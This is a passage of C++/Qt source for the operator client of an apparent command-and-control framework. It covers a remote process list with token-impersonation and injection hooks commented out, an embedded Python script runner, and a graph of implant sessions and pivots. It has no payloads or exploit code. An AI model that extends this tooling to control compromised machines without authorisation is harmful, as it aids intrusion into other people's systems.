ProcessTable->horizontalHeaderItem(0)->setText(QCoreApplication::translate("Process List", "Name", nullptr)); ProcessTable->horizontalHeaderItem(1)->setText(QCoreApplication::translate("Process List", "PID", nullptr)); ProcessTable->horizontalHeaderItem(2)->setText(QCoreApplication::translate("Process List", "PPID", nullptr)); ProcessTable->horizontalHeaderItem(3)->setText(QCoreApplication::translate("Process List", "Session", nullptr)); ProcessTable->horizontalHeaderItem(4)->setText(QCoreApplication::translate("Process List", "Arch", nullptr)); ProcessTable->horizontalHeaderItem(5)->setText(QCoreApplication::translate("Process List", "User", nullptr)); ProcessTable->horizontalHeader()->resizeSection(0, 200); ProcessTable->horizontalHeader()->resizeSection(1, 70); ProcessTable->horizontalHeader()->resizeSection(2, 70); ProcessTable->horizontalHeader()->resizeSection(3, 70); ProcessTable->horizontalHeader()->resizeSection(4, 70); pushButton_Refresh->setText(QCoreApplication::translate("Process List", "Refresh", nullptr)); // pushButton_Kill->setText(QCoreApplication::translate("Process List", "Kill", nullptr)); // pushButton_Steal_Token->setText(QCoreApplication::translate("Process List", "Impersonate Token", nullptr)); // pushButton_Inject->setText(QCoreApplication::translate("Process List", "Inject", nullptr)); // Context Menu connect( ProcessTable, &QTableWidget::customContextMenuRequested, this, &ProcessList::handleTableListMenuContext ); connect( ProcessTree, &QTreeWidget::customContextMenuRequested, this, &ProcessList::handleTreeListMenuContext ); // Context Menu Actions connect( actionCopyProcessID, &QAction::triggered, this, &ProcessList::onActionCopyPID ); // connect( actionSetAsParentProcess, &QAction::triggered, this, &ProcessList::onActionSetParentProcess ); // Buttons connect( pushButton_Refresh, &QPushButton::clicked, this, &ProcessList::onButton_Refresh ); // List Widget actions connect( ProcessTable, &QTableWidget::clicked, this, &ProcessList::onTableChange ); connect( ProcessTree, &QTreeWidget::clicked, this, &ProcessList::onTreeChange ); } void HavocNamespace::UserInterface::Widgets::ProcessList::UpdateProcessListJson( QJsonDocument ProcessListData ) { ProcessTable->setRowCount( 0 ); ProcessTree->clear(); if ( ProcessListData.isArray() ) { auto ProcessListArray = ProcessListData.array(); for ( QJsonValueRef ProcessInfo : ProcessListArray ) { auto Process = ProcessInfo.toObject(); auto ProcessInfoMap = std::map() ; auto ProcessIsWow = Process[ "IsWow" ].toInt(); ProcessInfoMap.insert( { "Name", Process[ "Name" ].toString() } ); ProcessInfoMap.insert( { "PID", Process[ "PID" ].toString() } ); ProcessInfoMap.insert( { "PPID", Process[ "PPID" ].toString() } ); ProcessInfoMap.insert( { "Session", Process[ "Session" ].toString() } ); ProcessInfoMap.insert( { "Arch", ProcessIsWow ? "x86" : "x64" } ); ProcessInfoMap.insert( { "User", Process[ "User" ].toString() } ); NewTableProcess( ProcessInfoMap ); NewTreeProcess( ProcessInfoMap ); } } ProcessTree->expandAll(); } void HavocNamespace::UserInterface::Widgets::ProcessList::NewTableProcess(std::map ProcessInfo) { if ( this->ProcessTable->rowCount() < 1 ) this->ProcessTable->setRowCount( 1 ); else this->ProcessTable->setRowCount( this->ProcessTable->rowCount() + 1 ); this->ProcessTable->setSortingEnabled( false ); auto Name = new QTableWidgetItem(); Name->setText(ProcessInfo["Name"]); Name->setFlags(Name->flags() ^ Qt::ItemIsEditable); if (this->Session.PID.compare(ProcessInfo["PID"]) == 0) { Name->setForeground(QColor(255, 85, 85)); } this->ProcessTable->setItem(this->ProcessTable->rowCount()-1, 0, Name); auto PID = new QTableWidgetItem(); PID->setText(ProcessInfo["PID"]); PID->setTextAlignment( Qt::AlignCenter ); PID->setFlags(PID->flags() ^ Qt::ItemIsEditable); this->ProcessTable->setItem(this->ProcessTable->rowCount()-1, 1, PID); auto PPID = new QTableWidgetItem(); PPID->setText(ProcessInfo["PPID"]); PPID->setTextAlignment( Qt::AlignCenter ); PPID->setFlags(PPID->flags() ^ Qt::ItemIsEditable); this->ProcessTable->setItem(this->ProcessTable->rowCount()-1, 2, PPID); // Session and Arch are swapped... auto SessionID = new QTableWidgetItem(); SessionID->setText(ProcessInfo["Session"]); SessionID->setTextAlignment( Qt::AlignCenter ); SessionID->setFlags(SessionID->flags() ^ Qt::ItemIsEditable); this->ProcessTable->setItem(this->ProcessTable->rowCount()-1, 3, SessionID); auto Arch = new QTableWidgetItem(); Arch->setText(ProcessInfo["Arch"]); Arch->setTextAlignment( Qt::AlignCenter ); Arch->setFlags(Arch->flags() ^ Qt::ItemIsEditable); this->ProcessTable->setItem(this->ProcessTable->rowCount()-1, 4, Arch); auto User = new QTableWidgetItem(); User->setText(ProcessInfo["User"]); User->setFlags(User->flags() ^ Qt::ItemIsEditable); this->ProcessTable->setItem(this->ProcessTable->rowCount()-1, 5, User); } void HavocNamespace::UserInterface::Widgets::ProcessList::NewTreeProcess( std::map ProcessInfo ) { auto ProcessItem = new QTreeWidgetItem; auto it = QTreeWidgetItemIterator( ProcessTree ); ProcessItem->setText( 0, ProcessInfo[ "PID" ] + ": " + ProcessInfo[ "Name" ] ); while ( *it ) { if ( ( *it )->text( 0 ).split( ": " )[ 0 ].compare( ProcessInfo[ "PPID" ] ) == 0 ) { ( *it )->addChild( ProcessItem ); return; } ++it; } ProcessTree->addTopLevelItem( ProcessItem ); } void HavocNamespace::UserInterface::Widgets::ProcessList::onButton_Refresh() const { for ( auto & Session : HavocX::Teamserver.Sessions ) { if ( Session.Name.compare( Session.Name ) == 0 ) { if ( Session.ProcessList ) { Session.InteractedWidget->DemonCommands->Execute.ProcList( Util::gen_random( 8 ).c_str(), true ); return; } } } } void HavocNamespace::UserInterface::Widgets::ProcessList::onTableChange() { auto PID = ProcessTable->item( ProcessTable->currentRow(), 1 )->text(); auto it = QTreeWidgetItemIterator ( ProcessTree ); while ( *it ) { if ( ( *it )->text( 0 ).split( ": " )[ 0 ].compare( PID ) == 0 ) { ProcessTree->setCurrentItem( *it ); return; } ++it; } } void HavocNamespace::UserInterface::Widgets::ProcessList::onTreeChange() { auto PID = ProcessTree->currentItem()->text( ProcessTree->currentColumn() ).split( ":" )[ 0 ]; for ( u32 i = 0; i < ProcessTable->rowCount(); i++ ) { if ( ProcessTable->item( i, 1 )->text().compare( PID ) == 0 ) { ProcessTable->setCurrentItem( ProcessTable->item( i, 1 ) ); } } } void HavocNamespace::UserInterface::Widgets::ProcessList::handleTableListMenuContext( const QPoint &pos ) { if ( ! ProcessTable->itemAt( pos ) ) return; ProcessListMenu->popup( ProcessTable->horizontalHeader()->viewport()->mapToGlobal( pos ) ); } void HavocNamespace::UserInterface::Widgets::ProcessList::handleTreeListMenuContext( const QPoint &pos ) { if ( ! ProcessTable->itemAt( pos ) ) return; ProcessListMenu->popup( ProcessTree->viewport()->mapToGlobal( pos ) ); } void HavocNamespace::UserInterface::Widgets::ProcessList::onActionCopyPID() { spdlog::info("PID saved to clipboard"); auto PID = this->ProcessTree->currentItem()->text(this->ProcessTree->currentColumn()).split(":")[0]; QApplication::clipboard()->setText( PID ); } void HavocNamespace::UserInterface::Widgets::ProcessList::onActionSetParentProcess() { } ================================================ FILE: client/src/UserInterface/Widgets/PythonScript.cc ================================================ #include #include #include #include #include #include void HavocNamespace::UserInterface::Widgets::PythonScriptInterpreter::setupUi(QWidget *WindowWidget) { PythonScriptInterpreterWidget = WindowWidget; if (PythonScriptInterpreterWidget->objectName().isEmpty()) PythonScriptInterpreterWidget->setObjectName(QString::fromUtf8("PythonScriptWidget")); PythonScriptInterpreterWidget->setWindowTitle(QCoreApplication::translate("PythonScriptWidget", "Script Interpreter", nullptr)); gridLayout = new QGridLayout(PythonScriptInterpreterWidget); gridLayout->setObjectName(QString::fromUtf8("gridLayout")); gridLayout->setContentsMargins(4, 4, 4, 4); gridLayout->setVerticalSpacing(4); PythonScriptInput = new QLineEdit(PythonScriptInterpreterWidget); PythonScriptInput->setObjectName(QString::fromUtf8("PythonScriptInput")); gridLayout->addWidget(PythonScriptInput, 1, 0, 1, 1); PythonScriptOutput = new QPlainTextEdit(PythonScriptInterpreterWidget); PythonScriptOutput->setObjectName(QString::fromUtf8("PythonScriptOutput")); PythonScriptOutput->setReadOnly(true); PythonScriptOutput->setLineWrapMode(QPlainTextEdit::LineWrapMode::NoWrap); PythonScriptOutput->setStyleSheet( "background-color: "+Util::ColorText::Colors::Hex::Background+";" + "color: "+Util::ColorText::Colors::Hex::Foreground+";" ); gridLayout->addWidget(PythonScriptOutput, 0, 0, 1, 1); connect( PythonScriptInput, &QLineEdit::returnPressed, this, &PythonScriptInterpreter::AppendFromInput ); PythonScriptOutput->appendHtml( ( "Python " + QString( Py_GetVersion() ) ) ); PythonScriptOutput->appendHtml( ( R"(Type "help", "copyright", "credits" or "license" for more information.)" ) ); PythonScriptOutput->appendPlainText(""); QMetaObject::connectSlotsByName( PythonScriptInterpreterWidget ); } void HavocNamespace::UserInterface::Widgets::PythonScriptInterpreter::RunCode( QString code ) { std::string buffer; emb::stdout_write_type write = [&] (std::string s) { buffer += s; }; emb::set_stdout(write); if ( PyRun_SimpleStringFlags( code.toStdString().c_str(), NULL ) == -1 ) { spdlog::error( "Failed to run script" ); return; } if ( buffer.size() > 0 ) this->PythonScriptOutput->appendPlainText( buffer.c_str() ); } void HavocNamespace::UserInterface::Widgets::PythonScriptInterpreter::AppendFromInput() { QString Input = PythonScriptInput->text(); if ( ! Input.isEmpty() ) { PythonScriptOutput->appendHtml( Util::ColorText::Red( ">>>" ) + " " + Input.toHtmlEscaped() ); PythonScriptInput->clear(); RunCode( Input ); } } void HavocNamespace::UserInterface::Widgets::PythonScriptInterpreter::AppendOutput( QString output ) { PythonScriptOutput->appendPlainText( output ); } ================================================ FILE: client/src/UserInterface/Widgets/ScriptManager.cc ================================================ #include #include #include #include #include #include #include using namespace HavocNamespace::UserInterface::Widgets; void ScriptManager::SetupUi( QWidget *Form ) { QString MenuStyle = "QMenu {\n" " background-color: #282a36;\n" " color: #f8f8f2;\n" " border: 1px solid #44475a;\n" "}\n" "\n" "QMenu::separator {\n" " background: #44475a;\n" "}\n" "\n" "QMenu::item:selected {\n" " background: #44475a;\n" "}\n" "\n" "QAction {\n" " background-color: #282a36;\n" " color: #f8f8f2;\n" "}"; this->ScriptManagerWidget = Form; if ( Form->objectName().isEmpty() ) Form->setObjectName( QString::fromUtf8("Form") ); Form->resize( 1417, 626 ); gridLayout = new QGridLayout( Form ); gridLayout->setObjectName( QString::fromUtf8( "gridLayout" ) ); buttonLoadScript = new QPushButton( Form ); buttonLoadScript->setObjectName( QString::fromUtf8( "buttonLoadScript" ) ); gridLayout->addWidget( buttonLoadScript, 2, 1, 1, 1 ); horizontalSpacer = new QSpacerItem(40, 20, QSizePolicy::Expanding, QSizePolicy::Minimum); gridLayout->addItem( horizontalSpacer, 2, 0, 1, 1 ); horizontalSpacer_2 = new QSpacerItem( 40, 20, QSizePolicy::Expanding, QSizePolicy::Minimum ); gridLayout->addItem( horizontalSpacer_2, 2, 2, 1, 1 ); tableLoadedScripts = new QTableWidget( Form ); tableLoadedScripts->setObjectName( QString::fromUtf8( "tableLoadedScripts" ) ); tableLoadedScripts->setEnabled( true ); tableLoadedScripts->setShowGrid( false ); tableLoadedScripts->setSortingEnabled( false ); tableLoadedScripts->setWordWrap( true ); tableLoadedScripts->setCornerButtonEnabled( true ); tableLoadedScripts->horizontalHeader()->setVisible( true ); tableLoadedScripts->setSelectionBehavior( QAbstractItemView::SelectRows ); tableLoadedScripts->setContextMenuPolicy( Qt::CustomContextMenu ); tableLoadedScripts->horizontalHeader()->setSectionResizeMode( QHeaderView::Stretch ); tableLoadedScripts->verticalHeader()->setVisible( false ); tableLoadedScripts->horizontalHeader()->setStretchLastSection( true ); tableLoadedScripts->verticalHeader()->setDefaultSectionSize( 12 ); tableLoadedScripts->setFocusPolicy( Qt::NoFocus ); actionReload = new QAction( "Reload" ); actionRemove = new QAction( "Remove" ); menuScripts = new QMenu( this ); menuScripts->setStyleSheet( MenuStyle ); menuScripts->addAction( actionReload ); menuScripts->addAction( actionRemove ); if ( tableLoadedScripts->columnCount() < 1 ) tableLoadedScripts->setColumnCount( 1 ); tableLoadedScripts->setHorizontalHeaderItem(0, new QTableWidgetItem()); gridLayout->addWidget( tableLoadedScripts, 0, 0, 1, 3 ); gridLayout->setMargin( 0 ); QObject::connect( buttonLoadScript, &QPushButton::clicked, this, &ScriptManager::b_LoadScript ); QObject::connect( tableLoadedScripts, &QTableWidget::customContextMenuRequested, this, &ScriptManager::menu_ScriptMenu ); QObject::connect( actionReload, &QAction::triggered, this, &ScriptManager::ReloadScript ); QObject::connect( actionRemove, &QAction::triggered, this, &ScriptManager::RemoveScript ); RetranslateUi(); for ( auto& Script : HavocX::Teamserver.TabSession->dbManager->GetScripts() ) { AddScriptTable( Script ); } QMetaObject::connectSlotsByName(Form); } // setupUi void ScriptManager::RetranslateUi( ) { ScriptManagerWidget->setWindowTitle(QCoreApplication::translate("Form", "Script Manager", nullptr)); buttonLoadScript->setText(QCoreApplication::translate("Form", "Load Script", nullptr)); tableLoadedScripts->horizontalHeaderItem(0)->setText(QCoreApplication::translate("Form", "Path", nullptr)); } bool ScriptManager::AddScript( QString Path ) { auto Script = FileRead( Path ); auto path = Path.toStdString(); int Return = 0; HavocX::Teamserver.LoadingScript = Path.toStdString(); if ( Script != nullptr ) { if ( ! Script.isEmpty() ) { Return = PyRun_SimpleStringFlags( Script.toStdString().c_str(), NULL ); if ( Return == -1 ) { spdlog::error( "Failed to run script: {}", path ); } else { return true; } } else { spdlog::error( "Script path not found: {}", path ); } } else { spdlog::error( "Failed to load script: {}", path ); } HavocX::Teamserver.LoadingScript = ""; return false; } void ScriptManager::AddScriptTable( QString Path ) { if ( tableLoadedScripts->rowCount() < 1 ) tableLoadedScripts->setRowCount( 1 ); else tableLoadedScripts->setRowCount( tableLoadedScripts->rowCount() + 1 ); tableLoadedScripts->setItem( tableLoadedScripts->rowCount() - 1, 0, new QTableWidgetItem( Path ) ); // add to database if ( ! HavocX::Teamserver.TabSession->dbManager->CheckScript( Path ) ) HavocX::Teamserver.TabSession->dbManager->AddScript( Path ); } void ScriptManager::b_LoadScript() { auto FileDialog = QFileDialog(); auto Filename = QUrl(); auto Style = FileRead( ":/stylesheets/Dialogs/FileDialog" ).toStdString(); Style.erase( std::remove( Style.begin(), Style.end(), '\n'), Style.end() ); FileDialog.setStyleSheet( Style.c_str() ); FileDialog.setDirectory( QDir::homePath() ); if ( FileDialog.exec() == QFileDialog::Accepted ) { Filename = FileDialog.selectedUrls().value( 0 ).toLocalFile(); if ( ! Filename.toString().isNull() ) { if ( AddScript( Filename.toString() ) ) { AddScriptTable( Filename.toString() ); } else { auto messageBox = QMessageBox( ); messageBox.setWindowTitle( "Failed to import script" ); messageBox.setText( "The script " + Filename.toString() + " could not be imported due to an error." ); messageBox.setIcon( QMessageBox::Critical ); messageBox.setStyleSheet( FileRead( ":/stylesheets/MessageBox" ) ); // messageBox.setMaximumSize( QSize( 500, 500 ) ); messageBox.exec(); } } } } void ScriptManager::menu_ScriptMenu( const QPoint &pos ) const { auto DemonSelected = tableLoadedScripts->itemAt( pos ); if ( ! DemonSelected ) return; menuScripts->popup( tableLoadedScripts->horizontalHeader()->viewport()->mapToGlobal( pos ) ); } void ScriptManager::ReloadScript() const { auto Path = tableLoadedScripts->item( tableLoadedScripts->currentRow(), 0 )->text(); // Just rerun the script AddScript( Path ); } // TODO: clear python interpreter and reload every script except the one that got removed void ScriptManager::RemoveScript() const { auto Path = tableLoadedScripts->item( tableLoadedScripts->currentRow(), 0 )->text(); tableLoadedScripts->removeRow( tableLoadedScripts->currentRow() ); HavocX::Teamserver.TabSession->dbManager->RemoveScript( Path ); } ================================================ FILE: client/src/UserInterface/Widgets/SessionGraph.cc ================================================ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include using namespace HavocNamespace::Util; GraphWidget::GraphWidget( QWidget* parent ) : QGraphicsView( parent ) { GraphScene = new QGraphicsScene( this ); GraphScene->setItemIndexMethod( QGraphicsScene::BspTreeIndex ); setScene( GraphScene ); setCacheMode( CacheBackground ); setViewportUpdateMode( BoundingRectViewportUpdate ); setRenderHint( QPainter::Antialiasing ); setTransformationAnchor( AnchorUnderMouse ); scaleView( qreal( 1 ) ); MainNode = new Member { .Name = "MainNode", .Node = new Node( NodeItemType::MainNode, QString(), this ), }; MainNode->Node->Session = {}; GraphScene->addItem( MainNode->Node ); MainNode->Node->setPos( 100, 50 ); NodeList.push_back( MainNode ); } Node* GraphWidget::GraphNodeAdd( SessionItem Session ) { auto item = new Node( NodeItemType::Session, Session.Name + " " + Session.Process + "\\" + Session.PID + " [" + Session.Computer + "\\" + Session.User + "]", this ); item->NodeEdge = new Edge( MainNode->Node, item, QColor( HavocNamespace::Util::ColorText::Colors::Hex::Green ) ); item->Parent = MainNode->Node; item->NodeID = Session.Name; item->Session = Session; auto member = new Member { .Name = Session.Name, .Node = item, }; GraphScene->addItem( item ); GraphScene->addItem( item->NodeEdge ); MainNode->Node->appendChild( item ); NodeList.push_back( member ); layout( MainNode->Node ); return item; } void GraphWidget::GraphNodeRemove( SessionItem Session ) { for ( int i = 0; i < NodeList.size(); i++ ) { if ( Session.Name.compare( NodeList[ i ]->Name ) == 0 ) { GraphScene->removeItem( NodeList[ i ]->Node->NodeEdge ); GraphScene->removeItem( NodeList[ i ]->Node ); NodeList.erase( NodeList.begin() + i ); MainNode->Node->removeChild( NodeList[ i ]->Node ); /* delete NodeList[ i ]->Node->NodeEdge; delete NodeList[ i ]->Node; delete NodeList[ i ]; */ return; } } } void GraphWidget::GraphPivotNodeAdd( QString AgentID, SessionItem Session ) { auto item = new Node( NodeItemType::Session, Session.Name + " " + Session.Process + "\\" + Session.PID + " [" + Session.Computer + "\\" + Session.User + "]", this ); item->Session = Session; GraphScene->addItem( item ); const auto items = scene()->items(); for ( QGraphicsItem* g_item : items ) { if ( qgraphicsitem_cast( g_item ) ) { auto i = qgraphicsitem_cast( g_item ); if ( i->NodeID.compare( AgentID ) == 0 ) { item->NodeID = Session.Name; item->NodeEdge = new Edge( i, item, QColor( HavocNamespace::Util::ColorText::Colors::Hex::Purple ) ); item->Parent = i; i->appendChild( item ); GraphScene->addItem( item->NodeEdge ); layout( MainNode->Node ); return; } } } auto agent_id = AgentID.toStdString(); auto session = Session.Name.toStdString(); spdlog::error( "Parent AgentID {} not found for {}", agent_id, session ); } void GraphWidget::GraphPivotNodeDisconnect( QString AgentID ) { const auto items = GraphScene->items(); for ( QGraphicsItem* g_item : items ) { if ( qgraphicsitem_cast( g_item ) ) { auto i = qgraphicsitem_cast( g_item ); if ( i->dest->NodeID.compare( AgentID ) == 0 ) { i->dest->Disconnected = true; i->Color( QColor( HavocNamespace::Util::ColorText::Colors::Hex::Red ) ); i->dest->update(); i->source->update(); return; } } } } void GraphWidget::GraphPivotNodeReconnect( QString ParentAgentID, QString ChildAgentID ) { const auto items = GraphScene->items(); for ( QGraphicsItem* g_item : items ) { if ( qgraphicsitem_cast( g_item ) ) { auto i = qgraphicsitem_cast( g_item ); if ( i->dest->NodeID.compare( ChildAgentID ) == 0 ) { GraphScene->addItem( new Edge( GraphNodeGet( ParentAgentID ), i->dest, QColor( HavocNamespace::Util::ColorText::Colors::Hex::Purple ) ) ); GraphScene->removeItem( i ); // TODO: somehow remove/free i (Edge*) // i->source = GraphNodeGet( ParentAgentID ); // i->dest->Disconnected = false; // i->Color( QColor( HavocNamespace::Util::ColorText::Colors::Hex::Purple ) ); // i->dest->update(); // i->source->update(); return; } } } } void GraphWidget::itemMoved() { if ( ! timerId ) timerId = startTimer( 1000 / 25 ); } void GraphWidget::keyPressEvent( QKeyEvent* event ) { switch ( event->key( ) ) { case Qt::Key_Plus: zoomIn(); break; case Qt::Key_Minus: zoomOut(); break; default: QGraphicsView::keyPressEvent( event ); } } void GraphWidget::timerEvent( QTimerEvent* event ) { Q_UNUSED( event ); const auto items = scene()->items(); auto nodes = QVector(); bool itemsMoved = false; for ( QGraphicsItem* item : items ) { if ( Node* node = qgraphicsitem_cast( item ) ) nodes << node; } for ( Node* node : qAsConst( nodes ) ) node->calculateForces(); for ( Node* node : qAsConst( nodes ) ) { if ( node->advancePosition() ) itemsMoved = true; } if ( ! itemsMoved ) { killTimer( timerId ); timerId = 0; } } void GraphWidget::resizeEvent( QResizeEvent* event ) { scene()->setSceneRect( 0, 0, event->size().width(), event->size().height() ); QGraphicsView::resizeEvent( event ); } void GraphWidget::wheelEvent( QWheelEvent* event ) { scaleView( pow( 2., event->angleDelta().y() / 500.0 ) ); } void GraphWidget::drawBackground( QPainter* painter, const QRectF& rect ) { Q_UNUSED( rect ); // Shadow auto sceneRect = this->sceneRect(); auto gradient = QLinearGradient( sceneRect.topLeft(), sceneRect.bottomRight() ); auto Background = HavocNamespace::Util::ColorText::Colors::Hex::Background; gradient.setColorAt( 0, QColor( Background ) ); painter->fillRect( rect.intersected( sceneRect ), gradient ); painter->setBrush( Qt::NoBrush ); painter->drawRect( sceneRect ); } void GraphWidget::scaleView( qreal scaleFactor ) { qreal factor = transform().scale( scaleFactor, scaleFactor ).mapRect( QRectF( 0, 0, 1, 1 ) ).width(); if ( factor < 1 || factor > 50 ) return; scale( scaleFactor, scaleFactor ); } void GraphWidget::shuffle() { const auto items = scene()->items(); for ( QGraphicsItem* item : items ) { if ( qgraphicsitem_cast( item ) ) item->setPos( -150 + QRandomGenerator::global()->bounded( 300 ), -150 + QRandomGenerator::global()->bounded( 300 ) ); } } void GraphWidget::zoomIn() { scaleView( qreal( 1.2 ) ); } void GraphWidget::zoomOut() { scaleView( 1 / qreal( 1.2 ) ); } Node *GraphWidget::GraphNodeGet( QString AgentID ) { const auto items = GraphScene->items(); for ( QGraphicsItem* g_item : items ) { if ( qgraphicsitem_cast( g_item ) ) { auto i = qgraphicsitem_cast( g_item ); if ( i->NodeID.compare( AgentID ) == 0 ) { return i; } } } return nullptr; } // Initialize node properties for layout void GraphWidget::initNode(Node* v) { v->Modifier = 0; v->Thread = nullptr; v->Ancestor = v; for (Node* w : v->Children) { initNode(w); } } // Entry function for layout void GraphWidget::layout(Node* T) { initNode(T); firstWalk(T); // m = 50 to shift position to positive axes secondWalk(T, 50, 0); } // Calculate preliminary x-coordinates for all nodes void GraphWidget::firstWalk(Node* v) { if (v->Children.empty()) { // If leaf node if (v->Parent && v != v->Parent->Children[0]) { auto leftSibling = std::prev(std::find(v->Parent->Children.cbegin(), v->Parent->Children.cend(), v)); v->Prelim = (*leftSibling)->Prelim + Y_SEP; } else { v->Prelim = 0; } } else { // Non-leaf node Node* defaultAncestor = v->Children[0]; for (Node* w : v->Children) { firstWalk(w); apportion(w, defaultAncestor); } executeShifts(v); // Compute the node's preliminary x-coordinate based on children's positions double midpoint = (v->Children[0]->Prelim + v->Children.back()->Prelim) / 2; if (v->Parent && v != v->Parent->Children[0]) { auto leftSibling = *std::prev(std::find(v->Parent->Children.cbegin(), v->Parent->Children.cend(), v)); v->Prelim = leftSibling->Prelim + Y_SEP; v->Modifier = v->Prelim - midpoint; } else { v->Prelim = midpoint; } } } // Adjusts spacing between subtrees to ensure they don't overlap void GraphWidget::apportion(Node* v, Node*& defaultAncestor) { if (v != v->Parent->Children[0]) { auto leftSibling = *std::prev(std::find(v->Parent->Children.cbegin(), v->Parent->Children.cend(), v)); Node* vip = v; Node* vop = v; Node* vim = leftSibling; Node* vom = vip->Parent->Children[0]; double sip = vip->Modifier; double sop = vop->Modifier; double sim = vim->Modifier; double som = vom->Modifier; while (nextRight(vim) && nextLeft(vip)) { vim = nextRight(vim); vip = nextLeft(vip); vom = nextLeft(vom); vop = nextRight(vop); vop->Ancestor = v; // Calculate how much to shift the trees apart double shift = (vim->Prelim + sim) - (vip->Prelim + sip) + Y_SEP; if (shift > 0) { // Move the current subtree apart from the previous subtree moveSubtree(ancestor(vim, v, defaultAncestor), v, shift); sip += shift; sop += shift; } sim += vim->Modifier; sip += vip->Modifier; som += vom->Modifier; sop += vop->Modifier; } if (nextRight(vim) && !nextRight(vop)) { vop->Thread = nextRight(vim); vop->Modifier += sim - sop; } if (nextLeft(vip) && !nextLeft(vom)) { vom->Thread = nextLeft(vip); vom->Modifier += sip - som; defaultAncestor = v; } } } // Move the subtree rooted at wp so it's shifted away from the subtree rooted at wm void GraphWidget::moveSubtree(Node* wm, Node* wp, double shift) { // Find the indices of wm and wp in their parent's children list auto wmIndex = std::distance(wp->Parent->Children.cbegin(), std::find(wp->Parent->Children.cbegin(), wp->Parent->Children.cend(), wm)); auto wpIndex = std::distance(wp->Parent->Children.cbegin(), std::find(wp->Parent->Children.cbegin(), wp->Parent->Children.cend(), wp)); // Number of subtrees is the difference in their indices int subtrees = wpIndex - wmIndex; if (subtrees != 0) { wp->Change -= shift / subtrees; wp->Shift += shift; wm->Change += shift / subtrees; wp->Prelim += shift; wp->Modifier += shift; } } // Helper function to get the leftmost child or thread (left contour) Node* GraphWidget::nextLeft(Node* v) { if (!v->Children.empty()) return v->Children[0]; else return v->Thread; } // Helper function to get the rightmost child or thread (right contour) Node* GraphWidget::nextRight(Node* v) { if (!v->Children.empty()) return v->Children.back(); else return v->Thread; } // Get the ancestor of vim that is in the same subtree as v, or return defaultAncestor Node* GraphWidget::ancestor(Node* vim, Node* v, Node*& defaultAncestor) { if (vim->Ancestor->Parent == v->Parent) { return vim->Ancestor; } else { return defaultAncestor; } } // Propagate the shifts down to ensure subtrees are moved accordingly void GraphWidget::executeShifts(Node* v) { double shift = 0; double change = 0; for (int i = v->Children.size() - 1; i >= 0; i--) { Node* w = v->Children[i]; w->Prelim += shift; w->Modifier += shift; change += w->Change; shift += w->Shift + change; } } // Walk the tree again to assign final x and y coordinates to each node void GraphWidget::secondWalk(Node* v, double m, double depth) { v->setPos((depth * X_SEP) + 100, v->Prelim + m); for (Node* w : v->Children) { secondWalk(w, m + v->Modifier, depth + 1); } } // ================================================== // =================== Edge Class =================== // ================================================== Edge::Edge( Node* sourceNode, Node* destNode, QColor Color ) : source( sourceNode ), dest( destNode ), color( Color ) { setAcceptedMouseButtons( Qt::NoButton ); source->addEdge( this ); dest->addEdge( this ); adjust(); } Node* Edge::sourceNode() const { return source; } Node* Edge::destNode() const { return dest; } void Node::contextMenuEvent( QGraphicsSceneContextMenuEvent* event ) { if ( NodeType == NodeItemType::MainNode ) return; auto MenuStyle = QString( "QMenu {" " background-color: #282a36;" " color: #f8f8f2;" " border: 1px solid #44475a;" "}" "QMenu::separator {" " background: #44475a;" "}" "QMenu::item:selected {" " background: #44475a;" "}" "QAction {" " background-color: #282a36;" " color: #f8f8f2;" "}" ); auto Agent = Util::SessionItem{}; for ( auto s : HavocX::Teamserver.Sessions ) { if ( s.Name.compare( NodeID ) == 0 ) { Agent = s; break; } } auto separator = new QAction(); auto separator2 = new QAction(); auto separator3 = new QAction(); auto separator4 = new QAction(); separator->setSeparator( true ); separator2->setSeparator( true ); separator3->setSeparator( true ); separator4->setSeparator( true ); auto SessionMenu = QMenu(); auto SessionExplorer = QMenu( "Explorer" ); SessionExplorer.addAction( "Process List" ); SessionExplorer.addAction( "File Explorer" ); SessionExplorer.setStyleSheet( MenuStyle ); SessionMenu.addAction( "Interact" ); SessionMenu.addAction( separator ); if ( Agent.MagicValue == DemonMagicValue ) { SessionMenu.addAction( SessionExplorer.menuAction() ); SessionMenu.addAction( separator2 ); } if ( Agent.Marked.compare( "Dead" ) != 0 ) SessionMenu.addAction( "Mark as Dead" ); else SessionMenu.addAction( "Mark as Alive" ); SessionMenu.addAction( "Export" ); SessionMenu.addAction( separator3 ); SessionMenu.addAction( "Remove" ); if ( Agent.MagicValue == DemonMagicValue ) { auto ExitMenu = QMenu( "Exit" ); ExitMenu.addAction( "Thread" ); ExitMenu.addAction( "Process" ); ExitMenu.setStyleSheet( MenuStyle ); SessionMenu.addAction( ExitMenu.menuAction() ); } else { SessionMenu.addAction( "Exit" ); } SessionMenu.setStyleSheet( MenuStyle ); auto *action = SessionMenu.exec( event->screenPos() ); if ( action ) { for ( auto & Session : HavocX::Teamserver.Sessions ) { // TODO: make that on Session receive if ( Session.InteractedWidget == nullptr ) { Session.InteractedWidget = new UserInterface::Widgets::DemonInteracted; Session.InteractedWidget->SessionInfo = Session; Session.InteractedWidget->TeamserverName = HavocX::Teamserver.Name; Session.InteractedWidget->setupUi( new QWidget ); } if ( Session.Name.compare( NodeID ) == 0 ) { if ( action->text().compare( "Interact" ) == 0 ) { auto tabName = "[" + Session.Name + "] " + Session.User + "/" + Session.Computer; for ( int i = 0 ; i < HavocX::Teamserver.TabSession->tabWidget->count(); i++ ) { if ( HavocX::Teamserver.TabSession->tabWidget->tabText( i ) == tabName ) { HavocX::Teamserver.TabSession->tabWidget->setCurrentIndex( i ); return; } } HavocX::Teamserver.TabSession->NewBottomTab( Session.InteractedWidget->DemonInteractedWidget, tabName.toStdString() ); Session.InteractedWidget->lineEdit->setFocus(); } else if ( action->text().compare( "Mark as Dead" ) == 0 ) { auto Marked = QString(); Marked = "Dead"; HavocApplication->HavocAppUI.MarkSessionAs( Session, Marked ); } else if ( action->text().compare( "Mark as Alive" ) == 0 ) { auto Marked = QString(); Marked = "Alive"; HavocApplication->HavocAppUI.MarkSessionAs( Session, Marked ); } else if ( action->text().compare( "Mark as Dead" ) == 0 || action->text().compare( "Mark as Alive" ) == 0 ) { for ( int i = 0; i < HavocX::Teamserver.TabSession->SessionTableWidget->SessionTableWidget->rowCount(); i++ ) { auto AgentID = HavocX::Teamserver.TabSession->SessionTableWidget->SessionTableWidget->item( i, 0 )->text(); if ( AgentID.compare( NodeID ) == 0 ) { auto Package = new Util::Packager::Package; Package->Head = Util::Packager::Head_t { .Event= Util::Packager::Session::Type, .User = HavocX::Teamserver.User.toStdString(), .Time = CurrentTime().toStdString(), }; auto Marked = QString(); if 